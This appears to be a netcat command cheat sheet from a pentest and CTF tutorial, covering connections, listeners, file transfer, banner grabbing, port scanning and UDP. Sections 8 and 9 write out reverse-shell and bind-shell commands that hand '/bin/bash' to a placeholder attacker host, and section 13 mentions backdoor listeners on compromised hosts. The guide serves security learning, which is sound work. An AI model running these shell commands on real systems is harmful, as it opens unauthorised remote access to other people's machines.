1. INTRODUCTION
Netcat (nc) is a versatile networking tool used for reading/writing data over TCP or UDP.
It can function as:
Often called the “Swiss Army Knife” of networking.
2. BASIC CONNECTION
Connect to a TCP port:
nc <IP> <PORT>
Example:
nc 192.168.1.10 80
Use this to manually interact with services (HTTP, SMTP, FTP, custom servers).
3. LISTENING MODE (SERVER)
Start a TCP listener:
nc -l -p <PORT>
Example:
nc -l -p 4444
Used for:
- Wait for reverse shells
- Receive file transfers
- Chat sessions
4. SEND & RECEIVE FILES
Send a file:
nc <IP> <PORT> < file.txt
Receive a file:
nc -l -p <PORT> > received.txt
Example:
Sender:
nc 10.10.10.5 9001 < secret.zip
Receiver:
nc -l -p 9001 > secret.zip
5. CHAT SESSION (PEER-TO-PEER)
Machine A:
nc -l -p 5000
Machine B:
nc <IP_OF_A> 5000
Useful for:
- Quick communication
- Testing network connections
6. BANNER GRABBING
Read service banner:
nc <HOST> <PORT>
Example:
nc example.com 25
Useful for identifying:
- SMTP/FTP versions
- Web server banners
- Custom protocols (CTFs!)
7. PORT SCANNING
Simple port scan: 45]
nc -zv <IP> <PORT-RANGE>
Example:
nc -zv 192.168.1.10 1-1000
Flags:
- -z : scan mode
- -v : verbose output
8. REVERSE SHELL
Victim → Attacker (Victim initiates connection)
Victim:
nc <ATTACKER_IP> <PORT> -e /bin/bash
Attacker:
nc -l -p <PORT>
Example:
Victim:
nc 10.10.10.5 4444 -e /bin/bash
Attacker:
nc -l -p 4444
9. BIND SHELL
Victim listens, attacker connects.
Victim:
nc -l -p 4444 -e /bin/bash
Attacker:
nc <VICTIM_IP> 4444
10. UDP MODE
Send UDP packet:
nc -u <IP> <PORT>
Listen on UDP:
nc -u -l -p <PORT>
Example:
nc -u 192.168.1.10 53
Useful for testing:
- DNS
- VoIP services
- Custom UDP protocols
11. SENDING RAW / HEX DATA
Send raw bytes:
echo -n -e "\x41\x42\x43" | nc <IP> <PORT>
Useful for:
- Fuzzing
- Protocol testing
- Exploit development
12. TIMEOUTS
Set timeout for connections:
nc -w <SECONDS> <IP> <PORT>
Example:
nc -w 3 10.10.10.5 80
13. REAL PENTEST & CTF USE CASES
- Banner grabbing for version enumeration
- Receiving reverse shells from exploited servers
- Transferring privesc scripts (linpeas/winpeas)
- Testing firewall rules (TCP/UDP)
- Backdoor listeners on compromised hosts
- Quick chat channels for team coordination
- Scanning ports in restricted environments
← Back to tutorial